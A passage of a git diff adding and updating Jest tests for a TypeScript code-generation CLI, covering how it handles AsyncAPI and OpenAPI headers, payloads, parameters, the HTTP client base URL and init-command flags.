+ path.resolve(__dirname, '../../../../configs/asyncapi.yaml')
+ );
+ const generated = await generateTypeScriptChannels({
+ generator: {
+ ...defaultTypeScriptChannelsGenerator,
+ outputPath: path.resolve(__dirname, './output-empty-protocols'),
+ id: 'test-empty-protocols',
+ protocols: []
+ },
+ inputType: 'asyncapi',
+ asyncapiDocument: parsedAsyncAPIDocument,
+ dependencyOutputs: {
+ 'parameters-typescript': {
+ channelModels: {},
+ generator: {outputPath: './test'} as any,
+ files: []
+ },
+ 'payloads-typescript': {
+ channelModels: {},
+ operationModels: {},
+ otherModels: [],
+ generator: {outputPath: './test'} as any,
+ files: []
+ },
+ 'headers-typescript': {
+ channelModels: {},
+ generator: {outputPath: './test'} as any,
+ files: []
+ }
+ }
+ } as any);
+
+ // The barrel (index.ts) must still be emitted — the content contract is unchanged.
+ expect(generated.files.some((file) => file.path.endsWith('index.ts'))).toBe(
+ true
+ );
+
+ // A warning must name the generator id and explain that nothing was generated.
+ expect(warnSpy).toHaveBeenCalled();
+ const warned = warnSpy.mock.calls.map((call) => String(call[0])).join('\n');
+ expect(warned).toContain('test-empty-protocols');
+ expect(warned).toMatch(/protocol/i);
+ } finally {
+ warnSpy.mockRestore();
+ }
+ });
+});
diff --git a/test/codegen/generators/typescript/channels/protocols/http/servers-baseurl.spec.ts b/test/codegen/generators/typescript/channels/protocols/http/servers-baseurl.spec.ts
new file mode 100644
index 00000000..9ab68f70
--- /dev/null
+++ b/test/codegen/generators/typescript/channels/protocols/http/servers-baseurl.spec.ts
@@ -0,0 +1,137 @@
+import {
+ defaultTypeScriptChannelsGenerator,
+ generateTypeScriptChannels
+} from '../../../../../../../src/codegen/generators';
+import {loadAsyncapiFromMemory} from '../../../../../../../src/codegen/inputs/asyncapi';
+import {
+ ConstrainedAnyModel,
+ OutputModel
+} from '@asyncapi/modelina';
+
+const payloadModel = new OutputModel(
+ '',
+ new ConstrainedAnyModel('TestPayloadModel', undefined, {}, 'Payload'),
+ 'TestPayloadModel',
+ {models: {}, originalInput: undefined},
+ []
+);
+
+const dependencyOutputs = {
+ 'parameters-typescript': {
+ channelModels: {},
+ generator: {outputPath: './test'} as any,
+ files: []
+ },
+ 'payloads-typescript': {
+ channelModels: {
+ ping: {messageModel: payloadModel, messageType: 'MessageType'}
+ },
+ operationModels: {
+ pingRequest: {messageModel: payloadModel, messageType: 'MessageType'},
+ pongResponse: {messageModel: payloadModel, messageType: 'MessageType'},
+ pingRequest_reply: {messageModel: payloadModel, messageType: 'MessageType'}
+ },
+ otherModels: [],
+ generator: {outputPath: './test'} as any,
+ files: []
+ },
+ 'headers-typescript': {
+ channelModels: {},
+ generator: {outputPath: './test'} as any,
+ files: []
+ }
+};
+
+const docWithServers = (serversYaml: string): string => `asyncapi: 3.0.0
+info:
+ title: Ping
+ version: 1.0.0
+${serversYaml}channels:
+ ping:
+ address: /ping
+ messages:
+ ping:
+ $ref: '#/components/messages/ping'
+ pong:
+ $ref: '#/components/messages/pong'
+operations:
+ pingRequest:
+ action: send
+ channel:
+ $ref: '#/channels/ping'
+ messages:
+ - $ref: '#/channels/ping/messages/ping'
+ reply:
+ channel:
+ $ref: '#/channels/ping'
+ messages:
+ - $ref: '#/channels/ping/messages/pong'
+ bindings:
+ http:
+ method: GET
+components:
+ messages:
+ ping:
+ payload:
+ type: object
+ properties:
+ event:
+ type: string
+ pong:
+ payload:
+ type: object
+ properties:
+ event:
+ type: string
+`;
+
+async function generateHttp(serversYaml: string): Promise {
+ const document = await loadAsyncapiFromMemory(docWithServers(serversYaml));
+ const generated = await generateTypeScriptChannels({
+ generator: {
+ ...defaultTypeScriptChannelsGenerator,
+ outputPath: './output',
+ id: 'test-http-servers',
+ asyncapiGenerateForOperations: true,
+ protocols: ['http_client']
+ },
+ inputType: 'asyncapi',
+ asyncapiDocument: document,
+ dependencyOutputs
+ } as any);
+ return generated.files.map((file) => file.content).join('\n');
+}
+
+describe('HTTP client baseURL from document servers', () => {
+ it('defaults baseUrl to the document HTTP(S) server URL', async () => {
+ const code = await generateHttp(
+ `servers:
+ production:
+ host: api.example.com
+ protocol: https
+`
+ );
+ expect(code).toContain('https://api.example.com');
+ expect(code).not.toContain('http://localhost:3000');
+ });
+
+ it('falls back to http://localhost:3000 when the document has no servers', async () => {
+ const code = await generateHttp('');
+ expect(code).toContain('http://localhost:3000');
+ });
+
+ it('does not offer non-HTTP servers to the HTTP client', async () => {
+ const code = await generateHttp(
+ `servers:
+ production:
+ host: api.example.com
+ protocol: https
+ events:
+ host: broker.example.com
+ protocol: nats
+`
+ );
+ expect(code).toContain('https://api.example.com');
+ expect(code).not.toContain('broker.example.com');
+ });
+});
diff --git a/test/codegen/inputs/asyncapi/__snapshots__/headers.spec.ts.snap b/test/codegen/inputs/asyncapi/__snapshots__/headers.spec.ts.snap
new file mode 100644
index 00000000..ad01c11f
--- /dev/null
+++ b/test/codegen/inputs/asyncapi/__snapshots__/headers.spec.ts.snap
@@ -0,0 +1,39 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`processAsyncAPIHeaders multi-message handling builds a oneOf union across all header-bearing messages 1`] = `
+{
+ "$id": "TestHeaders",
+ "$schema": "http://json-schema.org/draft-07/schema",
+ "oneOf": [
+ {
+ "$id": "MsgXHeaders",
+ "$schema": "http://json-schema.org/draft-07/schema",
+ "properties": {
+ "x-foo": AsyncapiV2Schema {
+ "type": "string",
+ "x-modelgen-inferred-name": "anonymous_schema_1X-foo",
+ "x-parser-schema-id": "",
+ },
+ },
+ "type": "object",
+ "x-modelgen-inferred-name": "anonymous_schema_1",
+ "x-parser-schema-id": "",
+ },
+ {
+ "$id": "MsgYHeaders",
+ "$schema": "http://json-schema.org/draft-07/schema",
+ "properties": {
+ "x-bar": AsyncapiV2Schema {
+ "type": "number",
+ "x-modelgen-inferred-name": "anonymous_schema_4X-bar",
+ "x-parser-schema-id": "",
+ },
+ },
+ "type": "object",
+ "x-modelgen-inferred-name": "anonymous_schema_4",
+ "x-parser-schema-id": "",
+ },
+ ],
+ "type": "object",
+}
+`;
diff --git a/test/codegen/inputs/asyncapi/__snapshots__/payloads.spec.ts.snap b/test/codegen/inputs/asyncapi/__snapshots__/payloads.spec.ts.snap
new file mode 100644
index 00000000..7351cdec
--- /dev/null
+++ b/test/codegen/inputs/asyncapi/__snapshots__/payloads.spec.ts.snap
@@ -0,0 +1,37 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`processAsyncAPIPayloads multi-message handling keeps every payload-bearing message when a payload-less message sits in the middle 1`] = `
+{
+ "$id": "TestPayload",
+ "$schema": "http://json-schema.org/draft-07/schema",
+ "oneOf": [
+ {
+ "$id": "MsgA",
+ "properties": {
+ "a": AsyncapiV2Schema {
+ "type": "string",
+ "x-modelgen-inferred-name": "anonymous_schema_1A",
+ "x-parser-schema-id": "",
+ },
+ },
+ "type": "object",
+ "x-modelgen-inferred-name": "anonymous_schema_1",
+ "x-parser-schema-id": "",
+ },
+ {
+ "$id": "MsgC",
+ "properties": {
+ "c": AsyncapiV2Schema {
+ "type": "number",
+ "x-modelgen-inferred-name": "anonymous_schema_3C",
+ "x-parser-schema-id": "",
+ },
+ },
+ "type": "object",
+ "x-modelgen-inferred-name": "anonymous_schema_3",
+ "x-parser-schema-id": "",
+ },
+ ],
+ "type": "object",
+}
+`;
diff --git a/test/codegen/inputs/asyncapi/headers.spec.ts b/test/codegen/inputs/asyncapi/headers.spec.ts
new file mode 100644
index 00000000..bc121cff
--- /dev/null
+++ b/test/codegen/inputs/asyncapi/headers.spec.ts
@@ -0,0 +1,143 @@
+import {processAsyncAPIHeaders} from '../../../../src/codegen/inputs/asyncapi/generators/headers';
+import {loadAsyncapiFromMemory} from '../../../../src/codegen/inputs/asyncapi';
+import {Logger} from '../../../../src/LoggingInterface';
+
+const docWith = (messagesYaml: string): string => `asyncapi: 3.0.0
+info:
+ title: T
+ version: 1.0.0
+channels:
+ test:
+ address: test
+ messages:
+${messagesYaml}
+`;
+
+const msgX = ` MsgX:
+ headers:
+ type: object
+ properties:
+ x-foo:
+ type: string
+ payload:
+ type: object`;
+const msgY = ` MsgY:
+ headers:
+ type: object
+ properties:
+ x-bar:
+ type: number
+ payload:
+ type: object`;
+const msgNoHeaders = ` MsgZ:
+ payload:
+ type: object`;
+
+describe('processAsyncAPIHeaders multi-message handling', () => {
+ let warnSpy: jest.SpyInstance;
+ beforeEach(() => {
+ warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {});
+ });
+ afterEach(() => {
+ warnSpy.mockRestore();
+ });
+
+ it('builds a oneOf union across all header-bearing messages', async () => {
+ const document = await loadAsyncapiFromMemory(
+ docWith([msgX, msgY, msgNoHeaders].join('\n'))
+ );
+ const processed = processAsyncAPIHeaders(document as any);
+
+ const channel = processed.channelHeaders['test'];
+ expect(channel).toBeDefined();
+ const schema = channel!.schema as any;
+ // Today only the first header-bearing message wins; the union should hold both.
+ expect(Array.isArray(schema.oneOf)).toBe(true);
+ expect(schema.oneOf).toHaveLength(2);
+ expect(typeof schema.$id).toBe('string');
+
+ const props = schema.oneOf.flatMap((entry: any) =>
+ Object.keys(entry.properties ?? {})
+ );
+ expect(props).toContain('x-foo');
+ expect(props).toContain('x-bar');
+
+ // The header-less message must be reported.
+ expect(warnSpy).toHaveBeenCalled();
+ const warned = warnSpy.mock.calls.map((call) => String(call[0])).join('\n');
+ expect(warned).toContain('MsgZ');
+
+ expect(schema).toMatchSnapshot();
+ });
+
+ it('leaves a single header-bearing message unchanged (no union)', async () => {
+ const document = await loadAsyncapiFromMemory(
+ docWith([msgX, msgNoHeaders].join('\n'))
+ );
+ const processed = processAsyncAPIHeaders(document as any);
+ const channel = processed.channelHeaders['test'];
+ expect(channel).toBeDefined();
+ const schema = channel!.schema as any;
+ expect(schema.oneOf).toBeUndefined();
+ expect(schema.$id).toEqual('MsgXHeaders');
+ expect(channel!.schemaId).toEqual('MsgXHeaders');
+ });
+
+ it('yields undefined channel headers when no message has headers', async () => {
+ const document = await loadAsyncapiFromMemory(docWith(msgNoHeaders));
+ const processed = processAsyncAPIHeaders(document as any);
+ expect(processed.channelHeaders['test']).toBeUndefined();
+ });
+
+ it('does not union a reply message into the request channel headers', async () => {
+ // A request/reply channel lists both the request and the reply message.
+ // The channel headers (consumed as request headers) must not include the
+ // reply message's headers.
+ const document = await loadAsyncapiFromMemory(`asyncapi: 3.0.0
+info:
+ title: T
+ version: 1.0.0
+channels:
+ userItems:
+ address: user/items
+ messages:
+ itemRequest:
+ headers:
+ type: object
+ properties:
+ x-req:
+ type: string
+ payload:
+ type: object
+ itemResponse:
+ headers:
+ type: object
+ properties:
+ x-res:
+ type: string
+ payload:
+ type: object
+operations:
+ getItems:
+ action: send
+ channel:
+ $ref: '#/channels/userItems'
+ messages:
+ - $ref: '#/channels/userItems/messages/itemRequest'
+ reply:
+ channel:
+ $ref: '#/channels/userItems'
+ messages:
+ - $ref: '#/channels/userItems/messages/itemResponse'
+`);
+ const processed = processAsyncAPIHeaders(document as any);
+ const channel = processed.channelHeaders['userItems'];
+ expect(channel).toBeDefined();
+ const schema = channel!.schema as any;
+ // Only the request message's headers — not a union with the reply's.
+ expect(schema.oneOf).toBeUndefined();
+ const keys = Object.keys(schema.properties ?? {});
+ expect(keys).toContain('x-req');
+ expect(keys).not.toContain('x-res');
+ });
+});
diff --git a/test/codegen/inputs/asyncapi/payloads.spec.ts b/test/codegen/inputs/asyncapi/payloads.spec.ts
new file mode 100644
index 00000000..85f69e90
--- /dev/null
+++ b/test/codegen/inputs/asyncapi/payloads.spec.ts
@@ -0,0 +1,80 @@
+import {processAsyncAPIPayloads} from '../../../../src/codegen/inputs/asyncapi/generators/payloads';
+import {loadAsyncapiFromMemory} from '../../../../src/codegen/inputs/asyncapi';
+import {Logger} from '../../../../src/LoggingInterface';
+
+const docWith = (messagesYaml: string): string => `asyncapi: 3.0.0
+info:
+ title: T
+ version: 1.0.0
+channels:
+ test:
+ address: test
+ messages:
+${messagesYaml}
+`;
+
+const msgA = ` MsgA:
+ payload:
+ type: object
+ properties:
+ a:
+ type: string`;
+const msgBNoPayload = ` MsgB: {}`;
+const msgC = ` MsgC:
+ payload:
+ type: object
+ properties:
+ c:
+ type: number`;
+
+describe('processAsyncAPIPayloads multi-message handling', () => {
+ let warnSpy: jest.SpyInstance;
+ beforeEach(() => {
+ warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {});
+ });
+ afterEach(() => {
+ warnSpy.mockRestore();
+ });
+
+ it('keeps every payload-bearing message when a payload-less message sits in the middle', async () => {
+ const document = await loadAsyncapiFromMemory(
+ docWith([msgA, msgBNoPayload, msgC].join('\n'))
+ );
+ const processed = await processAsyncAPIPayloads(document as any);
+
+ const channel = processed.channelPayloads['test'];
+ expect(channel).toBeDefined();
+ expect(Array.isArray(channel.schema.oneOf)).toBe(true);
+ // Today the loop `break`s on MsgB, dropping MsgC — the union should hold both.
+ expect(channel.schema.oneOf).toHaveLength(2);
+ const ids = channel.schema.oneOf.map((entry: any) => entry.$id);
+ expect(ids).toContain('MsgA');
+ expect(ids).toContain('MsgC');
+
+ // The skipped payload-less message must be reported, not silently dropped.
+ expect(warnSpy).toHaveBeenCalled();
+ const warned = warnSpy.mock.calls.map((call) => String(call[0])).join('\n');
+ expect(warned).toContain('MsgB');
+
+ expect(channel.schema).toMatchSnapshot();
+ });
+
+ it('yields no channel payload when every message is payload-less', async () => {
+ const document = await loadAsyncapiFromMemory(
+ docWith([msgBNoPayload, ` MsgD: {}`].join('\n'))
+ );
+ const processed = await processAsyncAPIPayloads(document as any);
+ expect(processed.channelPayloads['test']).toBeUndefined();
+ });
+
+ it('yields a plain schema (not a union) when exactly one message carries a payload', async () => {
+ const document = await loadAsyncapiFromMemory(
+ docWith([msgA, msgBNoPayload].join('\n'))
+ );
+ const processed = await processAsyncAPIPayloads(document as any);
+ const channel = processed.channelPayloads['test'];
+ expect(channel).toBeDefined();
+ expect(channel.schema.oneOf).toBeUndefined();
+ expect(channel.schema.properties?.a).toBeDefined();
+ });
+});
diff --git a/test/codegen/inputs/openapi/parameters.spec.ts b/test/codegen/inputs/openapi/parameters.spec.ts
new file mode 100644
index 00000000..cd58a5fb
--- /dev/null
+++ b/test/codegen/inputs/openapi/parameters.spec.ts
@@ -0,0 +1,42 @@
+import {OpenAPIV3} from 'openapi-types';
+import {processOpenAPIParameters} from '../../../../src/codegen/inputs/openapi/generators/parameters';
+import {Logger} from '../../../../src/LoggingInterface';
+
+describe('OpenAPI parameter extraction', () => {
+ let warnSpy: jest.SpyInstance;
+ beforeEach(() => {
+ warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {});
+ });
+ afterEach(() => {
+ warnSpy.mockRestore();
+ });
+
+ it('warns that cookie parameters are dropped, without affecting path/query params', () => {
+ const document: OpenAPIV3.Document = {
+ openapi: '3.0.0',
+ info: {title: 'Test API', version: '1.0.0'},
+ paths: {
+ '/things/{id}': {
+ get: {
+ parameters: [
+ {name: 'id', in: 'path', required: true, schema: {type: 'string'}},
+ {name: 'session', in: 'cookie', schema: {type: 'string'}}
+ ],
+ responses: {200: {description: 'OK'}}
+ }
+ }
+ }
+ } as OpenAPIV3.Document;
+
+ const {channelParameters} = processOpenAPIParameters(document);
+
+ // Path/query params are still processed for the operation.
+ expect(Object.keys(channelParameters).length).toBeGreaterThan(0);
+
+ // The dropped cookie parameter must be reported.
+ expect(warnSpy).toHaveBeenCalled();
+ const warned = warnSpy.mock.calls.map((c) => String(c[0])).join('\n');
+ expect(warned.toLowerCase()).toContain('cookie');
+ expect(warned).toContain('session');
+ });
+});
diff --git a/test/codegen/inputs/openapi/payloads.spec.ts b/test/codegen/inputs/openapi/payloads.spec.ts
index 0696791d..17e254b1 100644
--- a/test/codegen/inputs/openapi/payloads.spec.ts
+++ b/test/codegen/inputs/openapi/payloads.spec.ts
@@ -1,5 +1,24 @@
import {OpenAPIV3} from 'openapi-types';
import {processOpenAPIPayloads} from '../../../../src/codegen/inputs/openapi/generators/payloads';
+import {Logger} from '../../../../src/LoggingInterface';
+
+const operationDoc = (content: Record): OpenAPIV3.Document =>
+ ({
+ openapi: '3.0.0',
+ info: {title: 'Test API', version: '1.0.0'},
+ paths: {
+ '/things': {
+ get: {
+ responses: {
+ 200: {
+ description: 'OK',
+ content
+ }
+ }
+ }
+ }
+ }
+ }) as OpenAPIV3.Document;
describe('OpenAPI payload extraction', () => {
describe('processOpenAPIPayloads', () => {
@@ -57,4 +76,62 @@ describe('OpenAPI payload extraction', () => {
expect(schemaIds.some((id) => id.endsWith('Response'))).toBe(true);
});
});
+
+ describe('content-type fidelity and warnings', () => {
+ let warnSpy: jest.SpyInstance;
+ beforeEach(() => {
+ warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {});
+ });
+ afterEach(() => {
+ warnSpy.mockRestore();
+ });
+
+ it('extracts a payload from a +json content type (e.g. application/hal+json)', () => {
+ const document = operationDoc({
+ 'application/hal+json': {
+ schema: {type: 'object', properties: {id: {type: 'string'}}}
+ }
+ });
+ const {operationPayloads} = processOpenAPIPayloads(document);
+ const schemaIds = Object.values(operationPayloads).map((p) => p.schemaId);
+ expect(schemaIds.some((id) => id.endsWith('Response'))).toBe(true);
+ });
+
+ it('warns and produces no payload when an operation only has non-JSON content', () => {
+ const document = operationDoc({
+ 'application/xml': {
+ schema: {type: 'object', properties: {id: {type: 'string'}}}
+ }
+ });
+ const {operationPayloads} = processOpenAPIPayloads(document);
+ expect(Object.keys(operationPayloads)).toHaveLength(0);
+ expect(warnSpy).toHaveBeenCalled();
+ const warned = warnSpy.mock.calls.map((c) => String(c[0])).join('\n');
+ expect(warned).toContain('/things');
+ expect(warned.toLowerCase()).toContain('xml');
+ });
+
+ it('warns once when the document declares webhooks (unsupported)', () => {
+ const document = {
+ openapi: '3.1.0',
+ info: {title: 'Test API', version: '1.0.0'},
+ paths: {},
+ webhooks: {
+ newThing: {
+ post: {
+ requestBody: {
+ content: {
+ 'application/json': {schema: {type: 'object'}}
+ }
+ },
+ responses: {200: {description: 'OK'}}
+ }
+ }
+ }
+ } as any;
+ processOpenAPIPayloads(document);
+ const warned = warnSpy.mock.calls.map((c) => String(c[0])).join('\n');
+ expect(warned.toLowerCase()).toContain('webhook');
+ });
+ });
});
diff --git a/test/commands/init.spec.ts b/test/commands/init.spec.ts
index f899fd18..ce7c5759 100644
--- a/test/commands/init.spec.ts
+++ b/test/commands/init.spec.ts
@@ -1,4 +1,8 @@
import { runCommand } from '@oclif/test';
+import {
+ deriveGitignoreOutputPaths,
+ shouldAskInclude
+} from '../../src/commands/init';
// Mock inquirer for interactive tests
jest.mock('inquirer', () => ({
@@ -36,7 +40,7 @@ function parseEmittedConfig(stdout: string): any {
describe('init', () => {
describe('configuration types', () => {
it('should generate esm configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -44,7 +48,7 @@ describe('init', () => {
});
it('should generate typescript configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -52,7 +56,7 @@ describe('init', () => {
});
it('should generate json configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -60,7 +64,7 @@ describe('init', () => {
});
it('should generate yaml configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -110,7 +114,7 @@ describe('init', () => {
});
it('should generate configuration with all include flags', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-headers --include-payloads --include-parameters --include-channels --include-client --include-types --include-models`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-headers --include-payloads --include-parameters --include-channels --include-client --include-types --include-models --channels-protocols nats`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -131,7 +135,7 @@ describe('init', () => {
describe('input types', () => {
it('should handle asyncapi input type', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -139,7 +143,7 @@ describe('init', () => {
});
it('should handle openapi input type', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -208,7 +212,7 @@ describe('init', () => {
describe('configuration options', () => {
it('should use custom config name', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --config-name=my-custom-config --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=esm --config-name=my-custom-config --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -216,7 +220,7 @@ describe('init', () => {
});
it('should use custom output directory', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./custom-output' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./custom-output' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -225,73 +229,67 @@ describe('init', () => {
it('should generate correct file extensions for different config types', async () => {
// Test ESM (.mjs)
- const esmResult = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const esmResult = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(esmResult.stdout).toContain('.mjs');
// Test TypeScript (.ts)
- const tsResult = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const tsResult = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(tsResult.stdout).toContain('.ts');
// Test JSON (.json)
- const jsonResult = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const jsonResult = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(jsonResult.stdout).toContain('.json');
// Test YAML (.yaml)
- const yamlResult = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const yamlResult = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(yamlResult.stdout).toContain('.yaml');
});
});
describe('configuration content validation', () => {
it('should include correct language in configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).toContain('"language": "typescript"');
});
it('should include schema reference in JSON configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).toContain('"$schema": "https://raw.githubusercontent.com/the-codegen-project/cli/main/schemas/configuration-schema-0.json"');
});
it('should include schema reference in YAML configuration', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).toContain('# yaml-language-server: $schema=https://raw.githubusercontent.com/the-codegen-project/cli/main/schemas/configuration-schema-0.json');
});
-
- it('should have empty generators array when no include flags are specified', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
- expect(error).toBeUndefined();
- expectNoActualErrors(stderr);
- expect(stdout).toContain('"generators": []');
- });
});
describe('edge cases and error handling', () => {
it('should handle missing input-file flag gracefully in non-interactive mode', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, error} = await runCommand(`init --config-type=esm --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
// The command should still run, but the inputFile will be undefined
expect(error).toBeUndefined();
expect(stdout).toContain('Successfully created your sparkling new generation file');
});
- it('should handle missing input-type flag gracefully in non-interactive mode', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --languages=typescript --no-tty --output-directory='./' --no-output`);
- // The command should still run, but the inputType will be undefined
- expect(error).toBeUndefined();
- expect(stdout).toContain('Successfully created your sparkling new generation file');
+ it('errors when the input-type flag is missing (no generator can be built)', async () => {
+ const {error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
+ // Without an input type, no preset is supported, so nothing can be generated.
+ expect(error).toBeDefined();
+ expect(`${error?.message}`).toMatch(/--include-/);
});
- it('should handle missing languages flag gracefully in non-interactive mode', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output`);
- // The command should still run, but the languages will be undefined
+ it('defaults the languages flag when it is missing in non-interactive mode', async () => {
+ const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output --include-models`);
+ // languages defaults to typescript, so an include flag still produces generators.
expect(error).toBeUndefined();
expect(stdout).toContain('Successfully created your sparkling new generation file');
+ expect(stdout).toContain('"language": "typescript"');
});
});
@@ -322,9 +320,83 @@ describe('init', () => {
});
});
+ describe('generator guardrails and composition', () => {
+ it('errors (non-zero) instead of writing empty generators when no include flags are given', async () => {
+ const {error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ expect(error).toBeDefined();
+ // The message must point the user at the remedy.
+ expect(`${error?.message}`).toMatch(/--include-/);
+ });
+
+ it('defaults languages to typescript so include flags produce generators without --languages', async () => {
+ const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output --include-payloads`);
+ expect(error).toBeUndefined();
+ const config = parseEmittedConfig(stdout);
+ expect(config.language).toEqual('typescript');
+ expect(config.generators.map((g: any) => g.preset)).toContain('payloads');
+ });
+
+ it('seeds channels protocols from the --channels-protocols flag', async () => {
